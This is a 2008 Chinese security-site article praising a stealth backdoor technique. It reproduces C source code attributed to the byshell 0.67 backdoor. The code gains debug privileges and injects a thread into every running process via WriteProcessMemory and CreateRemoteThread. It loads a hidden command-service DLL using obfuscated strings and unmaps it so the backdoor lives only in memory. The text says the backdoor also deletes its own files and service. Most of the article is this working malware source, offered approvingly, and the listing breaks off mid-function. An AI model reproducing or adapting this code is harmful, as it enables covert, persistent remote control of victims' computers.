执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 入侵攻击 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
三步找回被删并清空了回收站的文件
新手想做网吧技术网管应会些什么
如何维护和优化局域网技巧
查看自己IP地址的四种方法
实战经验 组建维护一个30人局域网
巧用支付宝 免交手续费
教你防范QQ隐身被检测(图)
入侵Windows XP的几个常用方法
经验谈:跳板攻击入侵技术实例解析
上网被ISP劫持?介绍一些好用的DNS域
一个不错的思路隐藏后门
作者:佚名 来源:安全在线 更新时间:2008-10-8 13:49:56 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

一个不错的思路隐藏后门,利用线程注射DLL到系统进程,解除DLL映射,并删除自身DLL和EXE文件,删除自身创建的服务,仅仅存在于内存中。于是在寄主机器上无法找到任何新增服务项,磁盘文件或者是进程空间里的不明DLL。关机时,该程序会截获关机的调用,在系统关闭之前恢复自己。缺点是不正常重启之后后门消失.....

以下代码引自byshell0.67,你可以从Xfocus上获取源代码(baiyuanfan大侠的作品撒~)一直没看过后门那些东西的,今天别人提到,没想到有这么不错的东西啊......

void injcode(){HANDLE prohandle;DWORD pid=0;int ret;int tmp;HANDLE fm;
//SE_DEBUG_NAME
 HANDLE hToken;OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,&hToken);TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;
 LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
 AdjustTokenPrivileges(hToken,0,&tp, sizeof(tp),0,0);
//retrive pid from toolhelp32
Sleep(1000);
HANDLE snapshot;snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
struct tagPROCESSENTRY32 processsnap; processsnap.dwSize=sizeof(tagPROCESSENTRY32);
ret=(int)CreateMutex(0,0,"by067clean");
if(!ret){MessageBox(0,0,0,0);goto err1;}
ret=(int)CreateMutex(0,0,"by067revive");
if(!ret){MessageBox(0,0,0,0);goto err1;}
ret=(int)CreateEvent(0,0,1,"by067check");//初始status设置1!切记
if(!ret){MessageBox(0,0,0,0);goto err1;}
fm=CreateFileMapping((HANDLE)-1,0,PAGE_READWRITE,0,1024,"by067filemapping");
if(!fm){MessageBox(0,0,0,0);goto err1;}
//filemapping权限要设置为任何人可读写
PACL pdacl;
PACL pnewdacl;
PSECURITY_DESCRIPTOR psd;
EXPLICIT_ACCESS ace;
int ret1;
GetSecurityInfo(fm,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,0,0,&pdacl,0,&psd);
ace.grfAccessPermissions=GENERIC_ALL;
ace.grfAccessMode=GRANT_ACCESS;
ace.grfInheritance=NO_INHERITANCE;
ace.Trustee.pMultipleTrustee=0;
ace.Trustee.MultipleTrusteeOperation=NO_MULTIPLE_TRUSTEE;
ace.Trustee.TrusteeForm=TRUSTEE_IS_NAME;
ace.Trustee.TrusteeType=TRUSTEE_IS_GROUP;
ace.Trustee.ptstrName="EVERYONE";
SetEntriesInAcl(1,&ace,pdacl,&pnewdacl);
ret1=SetSecurityInfo(fm,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,0,0,pnewdacl,0);
if(ret1){goto err2;}
//char injexe[]="explorer.exe";//for dbg only process
for(Process32First(snapshot,&processsnap);Process32Next(snapshot,&processsnap);){
 //if(stricmp(processsnap.szExeFile,injexe)){continue;}
 if(processsnap.th32ProcessID<10){continue;}
 if(!stricmp(processsnap.szExeFile,MAINPROC1)){injapistr.ismainthread=1;}
 else if(!stricmp(processsnap.szExeFile,MAINPROC2)){injapistr.ismainthread=2;}
 else{injapistr.ismainthread=0;}
 pid=processsnap.th32ProcessID;

//inj
prohandle=OpenProcess(PROCESS_ALL_ACCESS,1,pid);
if(ReadProcessMemory(prohandle,(void*)0x19850000,&tmp,4,(DWORD*)&ret)==1){continue;}
//已经装载了byshell一次?不做动作
DWORD WINAPI injfunc(LPVOID);
HMODULE hModule;LPVOID paramaddr;
hModule=LoadLibrary("kernel32.dll");
injapistr.myLoadLibrary=(struct HINSTANCE__ *(__stdcall *)(const char *))GetProcAddress(hModule,"LoadLibraryA");
injapistr.myGetProcAddress=(FARPROC (__stdcall*)(HMODULE,LPCTSTR))GetProcAddress(hModule,"GetProcAddress");
injapistr.myVirtualAlloc=(void *(__stdcall *)(void *,unsigned long,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualAlloc");
injapistr.myFreeLibrary=(int (__stdcall *)(struct HINSTANCE__ *))GetProcAddress(hModule,"FreeLibrary");
injapistr.myIsBadReadPtr=(int (__stdcall *)(const void *,unsigned int))GetProcAddress(hModule,"IsBadReadPtr");
injapistr.myVirtualFree=(int (__stdcall *)(void *,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualFree");
paramaddr=VirtualAllocEx(prohandle,0,sizeof(injapistr),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
ret=WriteProcessMemory(prohandle,paramaddr,&injapistr,sizeof(injapistr),0);
void* injfuncaddr=VirtualAllocEx(prohandle,0,20000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
ret=WriteProcessMemory(prohandle,injfuncaddr,injfunc,20000,0);
ret=(int)CreateRemoteThread(prohandle,0,0,(DWORD (WINAPI *)(void *))injfuncaddr,paramaddr,0,0);
if(!ret){int tmp=GetLastError();
#ifdef bydbg
OutputDebugString("cannot infect process:see pid in edx,err code in eax\n");
__asm mov eax,tmp
__asm mov edx,pid
__asm int 3;
#endif
}
CloseHandle(prohandle);

}//end for


CloseHandle(snapshot);
return;

{
err1:
#ifdef bydbg
OutputDebugString("create global obj failed\n");
__asm int 3;
#endif
return;
}
{
err2:
#ifdef bydbg
OutputDebugString("cannot set DACL of section,see err code in eax\n");
__asm mov eax,ret1
__asm int 3;
#endif
return;
}
}


DWORD WINAPI injfunc(LPVOID paramaddr){

char ntboot[16];char msgbox[16];
INJAPISTR * pinjapistr=(INJAPISTR *)paramaddr; 
__asm{ 
mov ntboot,’n’
mov ntboot+1,’t’
mov ntboot+2,’b’
mov ntboot+3,’o’
mov ntboot+4,’o’
mov ntboot+5,’t’
mov ntboot+6,’.’
mov ntboot+7,’d’
mov ntboot+8,’l’
mov ntboot+9,’l’
mov ntboot+10,0

mov msgbox,’C’
mov msgbox+1,’m’
mov msgbox+2,’d’
mov msgbox+3,’S’
mov msgbox+4,’e’
mov msgbox+5,’r’
mov msgbox+6,’v’
mov msgbox+7,’i’
mov msgbox+8,’c’
mov msgbox+9,’e’
mov msgbox+10,0
}
HMODULE hModule=pinjapistr->myLoadLibrary(ntboot);
if((int)hModule!=0x19850000){return 0;}//特殊情况
DWORD (WINAPI *myCmdService)(LPVOID);
myCmdService=(DWORD (WINAPI *)(LPVOID))(pinjapistr->myGetProcAddress(hModule,msgbox));

unsigned int memsize=0;
void * tempdll=pinjapistr->myVirtualAlloc(0,DLLIMAGESIZE,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(tempdll,hModule,DLLIMAGESIZE);
pinjapistr->myFreeLibrary(hModule);
hModule=(HMODULE)pinjapistr->myVirtualAlloc(hModule,DLLIMAGESIZE,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(hModule,tempdll,DLLIMAGESIZE);pinjapistr->myVirtualFree(tempdll,DLLIMAGESIZE,MEM_DECOMMIT);
//

myCmdService((void*)(pinjapistr->ismainthread));
return 0;


 

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号